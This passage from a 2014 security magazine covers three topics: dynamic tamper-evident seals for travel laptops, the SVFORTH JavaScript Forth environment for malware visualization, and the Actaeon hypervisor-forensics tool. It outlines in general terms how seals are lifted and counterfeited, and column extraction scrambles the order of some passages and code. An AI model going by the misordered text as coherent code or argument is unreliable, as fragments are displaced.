● Monitoring of all network connections by the adversary, but in a setting where
routine Internet traffic is permitted.
● User only actively uses his computing device in a temporarily secure room — an
unoccupied hotel room or office. We do not attempt to protect against local inroom audio or video bugs, ELINT, or a user who is being physically compelled to
log in and violate security policy, such as through “rubber hose” methods or the
metaphorical gun to his head.
● “Protected device” (e.g. a laptop) is left unattended by the user in between
uses, for periods of hours or potentially days. We assume the attacker will
either attempt destructive attacks on the device (“it has been stolen”), or will
attempt to compromise and then return the device to the user without obvious
physical damage.
● User maintains complete custody and security of a phone-sized device used as
the “verifier”. This is plausible as the device is small and routinely used by the
user even during normal absences such as dinner, meetings, or tourism.
● Adversary is a national intelligence agency, but that the target is receiving less
than complete effort — that the user is a victim of routine intelligence gathering
against tens of thousands of business or government travelers, rather than
singular attention due to a major terrorist or head of state.
CONVENTIONAL SOLUTION
The current standard for international travel in both high-security commercial
environments and most government use is both unwieldy and not entirely effective.
A dedicated “travel pool” of devices is maintained, and those devices are never
allowed to be used directly on corporate networks. These laptops are carried “bare”
across borders, with only operating system and application software (and any unique
configuration details needed by the organization, including management profiles.)
On arrival, users download data from corporate networks, and the laptops have
extremely limited access to regular corporate systems, usually less than the VPN
access normally provided to remote users within the home country. On completion
of the work assignment in foreign country, the laptop is wiped, and again crosses
borders “bare”. On return to home office, the laptop may be forensically analyzed,
and then is wiped and returned to service, or discarded.
This obviously has several limitations:
● Relatively high overhead and expensive to implement, especially for smaller
organizations where maintaining dedicated travel infrastructure can be an
appreciable cost in equipment and staff time. This is probably unavoidable in
the current threat environment.
●
Inefficient and painful for users to have to use unique hardware during
international travel, particularly if their work extends beyond routine office
automation
● Substantial window of time (entire trip) where compromise of a machine is
158 HITB | Issue 10 | january 2014
undetected. It does little good to discover a tamper event on a key executive’s
machine related to corporate espionage about an in-progress deal if the deal is
concluded before return to the home country.
In the highest security commercial and high security government travel scenarios,
travel laptops are specifically doctored to be physically tamper evident. This may
include physical serialized seals over ports, physically difficult to copy markings
(holograms or highly detailed printing), difficult-to-remove stickers, or physical
tamper-evident overwrap. Organizations may also use firmware and software
protection (trusted boot, full disk encryption for data at rest, per-user customized
VPN configuration, application specific proxies, enhanced anti-malware packages,
virtualization) to protect travel laptops beyond how they protect their domestic IT
equipment. The difficulty is that users in the field are unlikely to conduct detailed
forensic analysis of their machines while in the field (both due to a lack of skill/
facilities, and lack of interest), and once the laptop has been returned to home base,
the results of a forensic analysis may no longer be relevant.
A NAIVE NEW SOLUTION: USE-TIME REMOTE-VERIFIED
TAMPER EVIDENCE
As presented at RSA 2013, an opportunity exists to use a trusted “verifier” device,
in the form of a smartphone, combined with a network server located at home,
to verify the integrity of physical seals and telltales on a target device through
static photographs. These seals can be applied to the entire case, and particular to
externally-accessible ports, screws and fasteners, and when combined with firmware
(trusted computing) and OS and network security functions, can dramatically
increase the level of security of the system for technical travelers.
By requiring a user to verify the integrity of a laptop or other device prior to each
use, using a technical solution which sends physical readings to a secure server for
processing, “lazy” users aren’t a problem — the user must participate actively in
recording measurements of the device in order to accomplish normal use of the
machine. It would be more work for a user to bypass the security measure than to
comply, so users will generally comply.
Unfortunately, there are serious flaws with this solution, which we have now
addressed.
THREATS TO USE-TIME REMOTEVERIFIED TAMPER EVIDENCE
There are several threats to use-time remote verification
of tamper evident seals.
As has been extensively demonstrated by the security
community, many seals can be scraped or lifted from
devices and re-used. While this might be detectable
in a full forensic teardown of the device at home
base, it probably would not be detectable in
the field using a low-fidelity cameraphone
static image.
Computer Forensics
Seals can be lifted, removed, cloned, and replaced. In particular, serialized seals
are relatively easy to duplicate, with the same serial number printed, as long as the
seal’s design is relatively straightforward. This is essentially the currency duplication
problem — it used to be expensive to make high-quality one-off prints, but now it
is fairly easy to scan and reproduce virtually anything printable on a laser or inkjet
printer. Again, these might be detected under high intensity forensic analysis, but
probably would not be detected in the field.
low sensitivity optical film. Over time, new marks would be added to the film, in a
complex pattern which would be difficult to duplicate, and marks would never be
removed, only added, so the arrow of time would be apparent.
Locking ports with seals reduces functionality. In particular, users may wish to use
removable drives, keyboards, or mice via USB ports, or external monitors, network
connections, or power plugs. Some level of port access must be allowed. This
ultimately comes down to machine-specific risk — firmware and OS security features
can reduce the risk of certain ports being exposed (even including DMA capable ports
on architectures with VT-d support). However, it is still likely that certain ports, for
instance docking connections, must be disabled via seals.
Position: Printing technologies which vary based on observer position are highly
effective anti-duplication technology. Combined with high-detail printing, perhaps
using a random process, they can be extremely difficult to duplicate, even within
the limits of remote sensing devices. These printing technologies include holograms,
pearlescent and metallic paints, micro-spheres, textured surfaces, etc. Position can
also be accomplished by moving an emitter of some kind (light source, laser, etc.)
while keeping a sensor in a constant position.
Essentially, the problem is that virtually any conventional seal technology can be
scanned, duplicated, and either removed/reused or replaced with a copy. This is
dramatically more likely to work when the attacker has foreknowledge of the seal,
and multiple extended windows of time to do physical manipulation ­— which is exactly
the case of a laptop routinely left in a hotel room during an extended business stay.
As well, if an expedition to defeat a seal fails, the attacker can potentially cover
any tracks by arranging theft of the device, which is overt and causes the user or
his organization to invalidate all security information on the device, but prevents
discovery of the surreptitious attack program.
The observer would record measurements using the verifier device either from
multiple discrete locations, or as video in a continuous arc, depending on the specific
type of seal.
OUR SOLUTION: DYNAMIC TAMPER-EVIDENCE
We have three main types of dynamic seals.
Time: Seals which vary their state through time.
One simple example are the color-changing selfexpiring badges often used for facility access7.
Because these vary at a known rate, it would
be difficult to create a new seal at the time of
an attack, replace a partially-worn seal, and
then have the new seal remain in the same
“decay curve” as the legitimate seal. While
thermal printed ID badges are relatively
weak security in this context, other similar
time-decay sensors would be feasible. An
example includes low-sensitivity film, either
x-ray film protected from light, or extremely
Layer: Seals can include multiple layers, only some of which are apparent on casual
inspection. This is how items like lottery tickets and currency can be verified — there
are some security features which are kept secret or are relatively unknown, and
detailed inspection can verify those details.
Given the threat of high-resolution surface photography and printing, one solution
to this would be a multi-layer seal. A surface seal can be used for verification until a
signal is given by the remote side, or after a counter has expired, and the surface seal
peeled back to expose a seal underneath. This is effective against seal counterfeiting,
but not against intact seal removal and reapplication, and is primarily a secondary
method to detect counterfeit seals during detailed forensic analysis at home.
In addition to strengthening the seals themselves vs. two main classes of attack
(seal counterfeiting and undetected seal lifting and replacement), these dynamic
techniques enhance higher-protocol-layer security as well.
Firmware and OS level protections (disabling physical ports with VT-d, BIOS features,
or OS features), and measured boot, can be combined with physical seal verification.
One of the main weaknesses with firmware and OS protections is a keylogger or other
device which monitors but not does actively register with the host; securing the
enclosure protects against this.
Remote device-integrity servers can use dynamic seal information to make an up-tothe-minute evaluation of endpoint risk. Rather than trusting a device at a constant
level for the duration of a login, periodic re-verification can be required. This can
take several forms — a sensor-mediated scan of seals, which is user-involved and
intrusive, or something which is transparent to the user — bluetooth electronic leash
pairing, monitoring accelerometer or GPS location, room environment sensors,
etc. If the trusted verifier device, located in a user’s pocket during normal use of
Computer Forensics
We present a novel solution which extends use-time remote-verified tamperevidence. Essentially, we use seal technologies which are inherently dynamic,
combined with measurements taken during the seal’s change, and
thus the seals are much more difficult for an attacker to defeat.
In particular, counterfeiting replacement seals is substantially
more difficult.
Users would verify seals at each time of use, updating the security record with the
current state of the device. In this way, the continued wear of the item would ensure
only “fresh” measurements would be accepted.
january 2014 | Issue 10 | HITB 161
Internet Security
There are several sensor modalities in modern smartphones which may be useful as
verifier devices. As well, we can make seals which are responsive to various inputs,
verifiable by the verifier using one of the smartphone’s modalities. The CMOS or
CCD cameras in smartphones seem to be among the most promising, both high
resolution and versatile. As well, modern smartphones include magnetometers,
accelerometers, various radio transmitters and receivers, and other sensors, and
these could be used both to take direct measurements and to communicate with
active dynamic seals.
Converting the entire process to a mainly user-passive vs. user-active procedure
would be ideal, but with certain sensor modalities (camera, primarily), it is unclear
how this can be done.
CONCLUSION
We have developed a novel use of seal technology — dynamic remote-verified
tamper-evidence. We hope this technology will be useful in securing systems from
physical layer compromise, particularly when traveling to hostile environments, and
that this enhanced physical layer security will allow strong firmware, software, and
network security systems to protect user data. ¶
Notes
the system, detects rapid acceleration and translation in GPS coordinates, remote
access on the secured device can be terminated.
OPEN QUESTIONS
We have identified several open questions and areas for future research.
Initial enrolment of devices is an open area of investigation. While it is easiest to
prepare devices at home base, taking high-quality reference measurements, it may
be more useful to allow users to travel to a country and apply seals in the field. While
this may involve transporting seals from home, an even more appealing option would
be to allow users to locally source commonly available items (paint, nail polish,
stickers, glitter, etc.) to apply sealing technology in the field, without needing to
import any special items.
Physically unclonable functions (PUFs)8 are generally the most feasible form of noncounterfeitable seal. There are many types, and determining which is most feasible
is an ongoing challenge9.
162 HITB | Issue 10 | january 2014
Computer Forensics
Our goal is two-fold: Better access control and control of sensitive data while in
potentially hostile environments, as well as better after-the-fact forensic discovery
of successful attacks. Dynamic seals support both goals.
1 Entire bureaucracies exist for this within governments, such as the NNSA, DoD Courier Office, etc.
Standards such as http://www.dtic.mil/whs/directives/corres/pdf/520033p.pdf
2 Examples of Evil Maid and types of attacks - Bruce Schneier and Joanna Rutowski
3 https://www.aclu.org/know-your-rights-constitution-free-zone-map
4 http://www.nytimes.com/2013/09/10/business/the-border-is-a-back-door-for-us-device-seaches.
html
5 David Miranda detention at Heathrow http://www.theguardian.com/world/2013/aug/24/davidmiranda-detention-greenwald-press-editors
6 David House, who raised money for Chelsea Manning’s defense fund https://www.aclu.org/blog/
technology-and-liberty-free-speech/feds-settle-lawsuit-bradley-manning-supporter-over-border
7 http://pubs.acs.org/subscribe/archive/ci/31/i02/html/02haas.html
8 http://en.wikipedia.org/wiki/Physical_unclonable_function
9 http://www.ne.anl.gov/capabilities/vat/defeat.html
january 2014 | Issue 10 | HITB 163
Computer Forensics
SVFORTH
A Forth for Security Analysis
and Visualization
Wes Brown, [email protected]meralsecurity.com
Preamble
programming due to the ease of defining short functions that operate on the stack.
Much of the visualization and analysis work revolves around the manipluation of
query results and sorting data to given criteria. These results tend to be linear, or in
the form of multiple rows, lending itself very well to being operated on like a stack.
In JavaScript?
Forth is a very simple language to implement; the interpreter parses for the next
word, using whitepace as a delimiter. When the parser encounters a word, it does a
lookup against its dictionary to determine if there is code bound to that word. Forth
words typically operate directly upon the stack, popping the values it needs off, and
pushing the results on.
This made it very trivial to implement a working Forth interpreter in JavaScript.
Forth words have traditionally been either compiled Forth statements or assembly
language. Similarly, by leveraging JavaScript's closures and anonymous functions,
we are able to bind JavaScript functions in the Forth word dictionary.
In SVFORTH, virtually all Forth words are bound to JavaScript functions, even the
lowest level stack operators. Each Forth word is passed a callback function as its sole
argument to execute upon completion of its task. Most Forth word operates upon the
stack as the primary data source.
SVFORTH is a Forth (http://en.wikipedia.org/wiki/Forth_(programming_language))
language environment written in JavaScript with primitives and functions that make
it useful for security visualization and analysis work. It is intended to be run in a
recent browser for the workshop and includes libraries for metadata and binary
manipulation as well as image display.
By writing SVFORTH in JavaScript, several advantages immediately appear:
● Much leading edge research2 (http://www.techrepublic.com/resource-library/
whitepapers/bootstrapping-a-self-hosted-research-virtual-machine-forjavascript/) has been done in the area of JavaScript optimization and virtual
machine design.
● JavaScript can run virtually anywhere, including the data center and mobile
devices.
● There is a rich library of functionality available that is especially useful for the
visualization and analysis work that SVFORTH is intended for.
● JavaScript'spassingofclosures3(http://lostechies.com/derekgreer/2012/02/17/
javascript-closures-explained/) work very well for binding JavaScript functions
to Forth words.
● Writing more words is very easy in JavaScript allowing SVFORTH to be extensible
for specific purposes.
Forth? Really?
The author is well known for his penchant for developing and using unusual domain
specific languages such as Mosquito Lisp to explore and implement new ideas.
Previous research has been conducted to apply Forth as a first stage injection
payload1 (http://mtso.squarespace.com/chargen/2009/1/10/applicable-lessonsfrom-the-embedded-world-aka-forth-rules.html). The language of implementation
shapes thought patterns, and disparate thought patterns in turn enable a variety
of different modalities. Reframing the problem set with alternate modalities and
non-standard paradigms is a time-tested technique for executing successful problem
analysis.
For example, Lisp and other functional languages that allow high order functions and
lazy evaluations enable the passing of functions to customize the behavior of the
function that is being passed to. The concept of equivalence between data and code
allows for models of rapid development that sometimes yield surprisingly elegant
and effective code.
Similarly, Forth has a lot to offer in its stack oriented nature. Programming in a
stack based manner is a paradigm shift similar to the difference between functional,
object oriented, and procedural languages. Forth encourages a layered approach to
164 HITB | Issue 10 | january 2014
Quick SVFORTH Primer
Forth works as such:
● 10 20 30 + * — this is entered in the REPL
● 10,20,30 are individually pushed onto the stack, and the stack contents are:
1. 30
2. 20
3. 10
● The + word is encountered, looked up in the dictionary, and executed. + pops
the top two items, adds them together, and pushes the result back onto the
stack:
Computer Forensics
The author is conducting a workshop on using visualization to assist in malware,
threat, and security analysis. A lot of the workshop will be running on the SVFORTH
platform which is used to exhibit and share visualization and analysis techniques.
This technical paper goes into detail on SVFORTH and the rationale behind it.
january 2014 | Issue 10 | HITB 165
Computer Forensics
1. 50
2. 10
● At this point, the * word is encountered and executed similarly to +, resulting in:
1. 500
Sometimes it can be more illuminating to illustrate in code than it is to explain.
Below are some sample SVFORTH words implemented in JavaScript:
this.canvas = function(callback) {
currCanvas = document.getElementById( stack.pop() )
currContext = currCanvas.getContext("2d")
executeCallback(callback)
}
this.fillStyle = function(callback) {
b = stack.pop()
g = stack.pop()
r = stack.pop()
currContext.fillStyle = "rgb(" + [r,g,b].join(",") + ")"
executeCallback(callback)
}
0 800 rand 0 600 rand rect ; (lower right coordinates)
(actually draw the rectangle)
: randrect
canvas pickcanvas (we find our canvas on our
HTML page)
200 tokenresolution (how many tokens before
setTimeout)
begin
pickcolor (pick and set a random color)
putrect (draw a rectangle in a random)
again ;
FIGURE 1: randrect running in Chromium
this.fillRect = function(callback) {
y2 = stack.pop()
x2 = stack.pop()
y1 = stack.pop()
x1 = stack.pop()
currContext.fillRect(x1, y1, x2, y2)
executeCallback(callback)
}
As mentioned earlier, all SVFORTH words operate upon the stack. To pass arguments
to SVFORTH words, the user has to push them onto the stack. These specific
examples do not push results back, but instead operate upon the HTML canas. Once
the JavaScript functions are defined, they are bound and stored in the SVFORTH
dictionary using the Word() helper.
Below is an example of an actual SVFORTH program, randrect that randomly
splashes different color rectangles as fast as possible.
: pickcolor
0 255 rand 0 255 rand 0 255 rand (red, green, blue)
fillcolor ; (set our color)
: randrect
0 800 rand 0 600 rand 166 HITB | Issue 10 | january 2014
(upper left coordinates)
In SVFORTH, words written in Forth are treated the same as words written in
JavaScript; as the token interpreter is concerned, there is no difference between
the two with the exception that writing and binding a JavaScript word from within
the Forth environment is not implemented for security reasons.
The randrect code shows how to define a Forth word; : puts the interpreter in a
special definition mode which is stored when ‘;’ is encountered. The definition block
is tokenized and compiled before being stored in the dictionary keyed to the word.
Computer Forensics
Word("pickcanvas", this.canvas)
Word("fillcolor", this.fillStyle)
Word("rect", this.fillRect)
january 2014 | Issue 10 | HITB 167
Computer Forensics
Forth as a Query Language
Due to the ability to define words that operate upon datasets as well as the stack
based nature of Forth, SVFORTH lends itself very well to being a data query and
filtering language.
By layering words, a query can be constructed that pulls data from a database or a
data source. Forth words that are filters that iterate through the stack can remove
items that do not match their criteria. There can also be Forth words that transform
the data in an useful way.
In an actual production application of SVFORTH, queries like the following can be
made:
twitter 500 from #anonymous filter
That specific instance of SVFORTH supports an 'easy mode' where queries can be
made in prefix rather than postfix notation:
from twitter 500 filter #anonymous
from is a Forth word that takes as arguments from the stack the data type to pull,
and the amount to pull. If all goes well, and we have at least five hundred Twitter
posts in our data source, our stack will be filled with JavaScript data structures, one
for each Twitter post.
SVFORTH leverages JavaScript in it's native support for JSON and JavaScript data
structures. SVFORTH supports storing these structures as elements on the stack as a
datatype beyond the integers that classical Forth supports.
Once the stack is populated with the results of the execution of from , the filter
word is then applied removing all items from the stack that does not contain the
argument in question, #anonymous.
By applying filters, the user then has all Twitter posts that mention the #anonymous
hashtag out of the results. It is trivial at this point to drill down and narrow the scope
as subsequent filters will remove items from the stack until the desired data is found.
For example, loic filter can be invoked on the results of anonymous filter
to find all #anonymous hashtags that mention their Low Orbit Ion Cannon. This can
also be stringed together as such:
twitter 500 from #anonymous filter loic filter
Due to the ease of defining words in Forth, an analyst can define a vocabulary of
special purpose words that conduct queries and refine the results. An useful example
168 HITB | Issue 10 | january 2014
Furthering the use of this capability, these filtering and sorting words can be written
in native JavaScript. The filter word itself is written in JavaScript, though it treats
the data in a very Forthlike fashion by rotating the stack:
this.filter = function(callback) {
filterTerm = stack.pop();
depth = stack.depth();
for (var count=0; count < depth; count++) {
examine = stack.pop();
if ('data' in examine) {
if (examine.data.search(filterTerm) > 0) {
stack.push(examine);
}
}
stack.rot();
}
executeCallback(callback);
}
Word( "filter", this.filter );
Stack Views
The next piece that makes SVFORTH useful for the domain of security analysis and
visualization is the support for different views of the stack. Each artifact that is
stored in the stack has metadata associated with it that may be useful for different
contexts such as timestamp, source, type, and origin.
An illustrative example in the area of malware analysis is visualization of assembler
opcodes or aligned binaries. JavaScript's recent support for Typed Arrays allows
binary data to be stored directly in memory; this allows for far more performant
access and manipulation of this data than the old method of working with Arrays and
using chr() .
Binary data can be viewed in many ways such as a hexadecimal view, a disassembly
view, or more usefully, an entropy and binary visualization map. The artifact data
in the stack remains the same when switching between different views of the same
binaries and metadata; this is a key point of how SVFORTH represents the data. If it
is filtered via some mechanism, pivoting on a view will not reset the filter.
Users intuitively see a stack as being top to bottom, and vertically oriented. For this
reason, binary artifacts are shown oriented counterclockwise 90 degrees to make
the most of horizontal screen space. A 76.8K binary file can be represented as a
128x600 wide map, if a pixel is allocated to represent each byte.
Following are examples of different views of the same binary, a Zeus trojan variant:
Computer Forensics
The useful thing about this is that from can be arbitrarily redefined as needed
for different types of data sources, such as a text file, a SQLite database, a server
request over HTTP, or even straight from a Postgres/MySQL server.
would be a custom algorithm that sorts the results by sentiment value, iterating
through the stack and pushing up and down elements as needed.
january 2014 | Issue 10 | HITB 169
Computer Forensics
FIGURE 2: mapping 8-bit aligned values to grayscale
By using metadata on the artifacts, such as timestamps, SVFORTH is able to provide
the analyst useful tools such as frequency analysis and a histogram of occurrences or
spotting. When clustering similar variants with each other, tags can then be applied
to each; once tagged, the view can be resorted according tag groups.
FIGURE 5: Binary view of three Zeus samples
FIGURE 3: Zeus binary, mapping only opcodes to grayscale
FIGURE 6: Opcode view of three Zeus samples
FIGURE 4: Zeus binary, overlaying color for each PE section
On the facing page the sequence shows three different Zeus binaries next to each other:
Despite the first two Zeus samples being of different sizes, 95K and 141K respectively,
there are definite structural similarities visible to an analyst when scaled next to
each other.
SVFORTH allows the sorting of these artifacts according to criteria given
interactively; changes in the stack will automatically update the views. One of the
key advantagess of SVFORTH running locally on the browser is the latency between
intent and response is minimized.
170 HITB | Issue 10 | january 2014
FIGURE 7: Opcode view of three Zeus samples overlaid with section colors
Computer Forensics
The above figures illustrate the usefulness of different views of the same binary data.
The opcode view is dramatically different from the pure binary view; the colorized
opcode view is useful for comparing data based on section, but it obscures the binary
details themselves.
january 2014 | Issue 10 | HITB 171
Computer Forensics
Other Applications of SVFORTH
In production and experimental usage, SVFORTH has been used to:
● Analyze MacOS X Crash Dumps from Pastebin to be analyzed by Crash Analyzer to
direct exploit research.
● Search and query intelligence artifacts in a database for further analysis and
filtering. These artifacts are from multiple data sources and different types but
SVFORTH is able to unify them on the same stack.
● Build relationship maps based on monitored Twitter conversations
● Perform ordering of binaries in the stack based on similarity criteria based on
hashes, entropy, and Levenshtein distance (http://en.wikipedia.org/wiki/
Levenshtein_distance) to cluster malware variants.
There is no loop construct in the core interpreter driving execution; instead, the
intepreter is recursively called using nextToken() passed to the Forth words as
callbacks.
function nextToken(tokens) {
...
if ( typeof currToken == 'function' ) {
currToken( function () { nbNextToken(tokens) } )
// We check the dictonary to see if our current token
matches a word.
} else if (currToken in dictionary.definitions) {
word = dictionary.getWord( currToken )
if ( typeof( word ) == 'function' ) {
word( function () { nbNextToken(tokens) } )
} else {
self.parse( word, function () { nbNextToken(tokens) } )
}
...
Implementation Details
The central two objects in SVFORTH is the Stack and the Dictionary . The Stack
contains an Array() as a private variable, and exposes stack functions such as pop ,
push , dup , and swap . It should be noted that even essential primitive operators such
as these are found as words in the Dictionary() and are themselves JavaScript closures.
// push - [ d ], ( a b c ) -> ( a b c d )
this.push = function(item, callback) {
__stack.push(item);
executeCallback(callback);
}
// drop - ( a b c ) -> ( a b ), []
this.drop = function(callback) {
__stack.pop();
executeCallback(callback);
}
A sharp-eyed reader might note that the token stream can have JavaScript functions
embedded in them. This is due to the compilation ability of SVFORTH where
frequently called functions such as those in a word definition or a loop are tokenized
and word lookups performed ahead of time, storing JavaScript functions directly
into the token array.
this.compile = function (tokens) {
for (var tokenIndex in tokens) {
if ( typeof(tokens[tokenIndex]) == 'string' ) {
token = tokens[tokenIndex]
The calls to nextToken() are wrapped in a function that counts tokens. When
a certain amount of tokens have executed, setTimeout() is called. The singlethreaded nature of JavaScript requires this, or the browser will lock up while
VSFORTH is interpreting tokens.
function nbNextToken(tokens) {
tokenCount += 1
if ( ( tokenCount % self.tokenResolution ) != 0 ) {
nextToken( tokens )
} else {
setTimeout(function () { nextToken( tokens ) }, 0)
}
}
172 HITB | Issue 10 | january 2014
}
}
}
return tokens
Computer Forensics
if ( tokens[tokenIndex] in dictionary.definitions ) {
tokens[tokenIndex] = dictionary.getWord( token )
} else if ( tokens[tokenIndex] == "" ) {
tokens.splice(tokenIndex, 1)
tokenIndex = tokenIndex - 1
} else if ( !isNaN(tokens[tokenIndex]) ) {
tokenInt = parseInt(tokens[tokenIndex])
tokenFloat = parseFloat(tokens[tokenIndex])
if ( tokenInt == tokenFloat ) {
tokens[tokenIndex] = tokenInt
} else {
tokens[tokenIndex] = tokenFloat
}
} else if ( token == "(" ) {
tokens.splice(tokenIndex,tokens.indexOf( ")" )-tokenIndex + 1)
tokenIndex = tokenIndex - 1
}
Due to the nature of interacting with JavaScript in an asynchronous fashion, every
Forth word needs to take the callback as its sole argument and execute it when done.
This callback is typically to the nextToken() function to advance the Forth parser's
execution, and is passed in as an anonymous closure. This causes the execution of
the Forth program to be synchronous, only moving on to the next token once the
current token has completed executing.
january 2014 | Issue 10 | HITB 173
Computer Forensics
When the compiler is called upon a token stream, for each token found, it does
a dictionary lookup on the token; if there is a match, the string is replaced with
the corresponding JavaScript function object. Also replaced are strings that are
numbers, with either a Float() or Int() . Tokens following blocks begun by (
are discarded until a ) token is hit. This process is very similar to classical Forth's
compilation of Forth words into assembler; doing all the dictionary lookups ahead
of time and inserting JavaScript closures in place of tokens has been observed to
dramatically increase the speed of VSFORTH in loops.
Much of VSFORTH's functionality is split up into modules that the user can import as
needed. Simply importing vsforth.js will set up the Dictionary and Stack ;
importing further modules such as vsforth/canvas.js will automatically add new
words to the vsforth.js namespace. This allows the user to import only modules
that are needed, and offers the ability to easily extend the VSFORTH environment.
References
1. http://en.wikipedia.org/wiki/Forth_(programming_language)
(http://en.wikipedia.org/wiki/Forth_(programming_language))
2. http://mtso.squarespace.com/chargen/2009/1/10/applicable-lessons-from-the-embeddedworldaka-forth-rules.html (http://mtso.squarespace.com/chargen/2009/1/10/applicablelessons-from-theembedded-world-aka-forth-rules.html)
3. http://www.techrepublic.com/resource-library/whitepapers/bootstrapping-a-self-hostedresearchvirtual-machine-for-javascript/ (http://www.techrepublic.com/resourcelibrary/whitepapers/
bootstrapping-a-self-hosted-research-virtual-machine-for-javascript/)
4. http://lostechies.com/derekgreer/2012/02/17/javascript-closures-explained
(http://lostechies.com/derekgreer/2012/02/17/javascript-closures-explained)
5. https://github.com/ephsec/svforth (https://github.com/ephsec/svforth)
6. http://www.packetninjas.com/ (http://www.packetninjas.com/)
7. http://www.spectralsecurity.com/ (http://www.spectralsecurity.com/)
Possible Futures for SVFORTH
Forth was originally designed to allow for defining words in assembly, and compiling
definitions to assembly. SVFORTH works similarly in allowing JavaScript functions to
be stored in the dictionary. But what if SVFORTH could really permit assembler like
the tradititonal Forths?
This is where asm.js steps in. asm.js is a subset of JavaScript that can be compiled
to machine assembler by an ahead-of-time engine. Because it is JavaScript, it can
run in browsers and environments that do not natively support asm.js . Currently,
Mozilla's Spidermonkey engine is the only one that supports this, and will execute
asm.js much more quickly.
While asm.js was intended to be a compile target rather than as a platform,
SVFORTH can be rewritten into asm.js with the assembler heap taking the place of
the current JavaScript Array() .
Source Code
The non-proprietary bits of SVFORTH are available via the GPL license via GitHub at:
https://github.com/ephsec/svforth (https://github.com/ephsec/svforth)4
Many Thanks To
● Daniel Clemens of PacketNinjas (http://www.packetninjas.com/)5 for giving the
author a playground to develop the concepts that this paper discusses.
●
Daniel Nowak of Spectral Security (http://www.spectralsecurity.com/)6 for
reviewing and feedback. ¶
174 HITB | Issue 10 | january 2014
Computer Forensics
Another possible avenue of future research is implementing WebGL visualization,
and leveraging GPUs to speed up the visualization rendering even more. This would
open up avenues of exploration into 3D visualization for this particular problem
space.
january 2014 | Issue 10 | HITB 175
Internet Security
How Actaeon Unveils
Your Hypervisor
Mariano Graziano, Andrea Lanzi, Davide Balzarotti
176 HITB | Issue 10 | january 2014
M
Forensic Analysis for Hypervisor
Virtualization is one of the main pillars of cloud computing but its adoption is also
rapidly increasing outside the cloud. Many users use virtual machines as a simple
way to make two different operating systems co-exist on the same machine at the
same execution time (e.g., to run Windows inside a Linux en-vironment), or to
isolate critical processes from the rest of the system (e.g., to run a web browser
Computer Security
Under the Hood
emory forensics is the branch of computer forensics that aims at extracting artifacts from memory snapshots taken from a running system. Such
a field is rapidly growing and it is attracting considerable attention from
both indus¬trial and academic researchers. One piece that is missing
from current memory forensics is an automatic system to analyze a virtual machine
starting from a host physical memory dump. This article explores the details of an
automatic memory analysis of a virtual machine by using a new forensic framework
called Actaeon [1].
january 2014 | Issue 10 | HITB 177
Computer Security
reserved for home banking and financial transactions). Un-fortunately, incidents
that involves a virtual machine are not currently address by any memory forensic
techniques. These scenarios pose serious problem for forensic investigation. The
intent of this article is to explain how to use a new forensic tool called Actaeon [1]
to automatically analyzed a physical memory dump and extract information about
the hypervisors that were running on the system. Actaeon can be also use to provide
a program interface to trasparently execute Volatility plugins for forensic analysis.
This article is divided as follows:
● In Section 2, virtualization concepts are discussed to understand how Ac¬taeon
can operate during forensic analysis.
● In Section 3, Actaeon Forensic Model is discussed in details to present the main
functionalities of the system.
● In Section 4, a running example of Virtual machine analysis is presented which
used Actaeon as a main analyzer.
Understanding Virtualization Technologies
Another important concept of virtualization is the nested configurationi [7] and is
related to the way in which an hypervisor handles a different sort of virtual machines
configuration running at the same time on the system. In a nested virtualization setting,
a guest virtual machine can run another hypervi¬sor that in turn can run other virtual
machines, thus achieving some form of recursive virtualization. However, since the
x86 architecture provides only a single-level architectural support for virtualization,
there can only be one and only one hypervisor mode and all the traps, at any given
nested level, need to be handled by this hypervisor (the top one in the hierarchy). The
main conse-quence is that only a single hypervisor is running at ring -1 and has access
to the VMX instructions. For all the other nested hypervisors the VMX instructions have
to be emulated by the top hypervisor to provide to the nested hypervisors the illusion
of running in root mode. Our analysis description refers to Turtle techonology [5] that
represents the facto standard for most of the modern hy-pervisors. As we can see from
Figure 1 in the case of nested virtualization setup we run a second hypervisor inside
nested virtual machine, the system needs to set up three VMCSs, the first (VMCS01) is
the one used by the top-level hypervisor for managing the top-level virtual machine
(Guest OS), the second VMCS (VMCS12) is maintened by the second hypervisor (Nested
L1) for keeping the state of the second virtual machine (Nested OS 2), while the third
one (VMCS02) is used from the top hypervisor for getting access to the address space
FIGURE 1: Turtle Nested Virtualization Setup
NESTED
NESTEDOS
OS(L2)
(L2)
VMCS12
VMCS02
GUEST
GUESTOS
OS/ /NESTED
NESTEDHYPERVISOR
HYPERVISOR(L1)
(L1)
VMCS01
HYPERVISOR
HYPERVISOR/ /HOST
HOST(L0)
(L0)
HARDWARE
HARDWARE
Computer Security
To understand the challenges of applying memory forensics to virtualization
environments, we need to describe some basic concepts regarding the hardwareassisted hypervisors technologies. In this article we focus our attention on the Intel
VT-x [2]. Any other virtualization techniques such as paravirtualization and binary rewriting are out of scope of this article. VT-x introduces a new instruction set, called
Virtual Machine eXtension (VMX) and it distinguishes two modes of operation: VMX
root and VMX non root. The VMX root oper¬ation is intended to run the hypervisor
and it is located below “ring 0”. The non root operation is instead used to run the
guest operating systems and it is therefore limited in the way it can access hardware
resources. Transitions between non root and root modes are called VMEXIT, while
the transition in the opposite direction are called VMENTRY. Intel also introduced
a set of new instructions for VMX root operation. An important concept about
VT-x tech-nologies is represent by the VMCS memory structure. The fields of this
memory structure are defined by Intel manual and the goal of it is to manage the
tran-sitions from and to VMX non root operation as well as the processor behavior
in VMX non root operation. Each logical processor reserves a special region in
memory to contain the VMCS, known as the VMCS region. The hypervisor can directly
reference the VMCS through a 64 bit, 4k-aligned
physical address stored inside the VMCS pointer.
This pointer can be accessed using two special
instructions (VMPTRST and VMPTRLD) and the
VMCS fields can be con¬figured by the hypervisor
through the VMREAD, VMWRITE and VMCLEAR
commands. Theoretically, an hypervisor
can maintain multiple VMCSs for each
virtual machine, but in practice
the number of VMCSs normally
matches the number of virtual
processors used by the guest
VM. Every field in the VMCS
is associated with a 32 bit
value, called its encoding,
that needs to be provided to the VMREAD/VMWRITE instructions to specify how
the values has to be stored. For this reason, the hypervisor has to use these two
instructions and should never access or modify the VMCS data using ordinary memory
opera¬tions. The VMCS data is organized into six logical groups: 1) a guest state area
to store the guest processor state when the hypervisor is executing; 2) a host state
area to store the processor state of the hypervisor when the guest is executing;
3) a VM Execution Control Fields containing information to control the processor
behavior in VMX non root operation; 4)A set of VM Exit Control Fields that control the
VMEXITs; 5) a VM Entry Control Fields to control the VMENTRIES; and 6) a VM Exit Info
Fields that describe the cause and the nature of a VMEXIT. Each group contains many
different fields, but the offset and the alignment of each field is not documented and
it is not constant between different Intel processor families.
january 2014 | Issue 10 | HITB 179
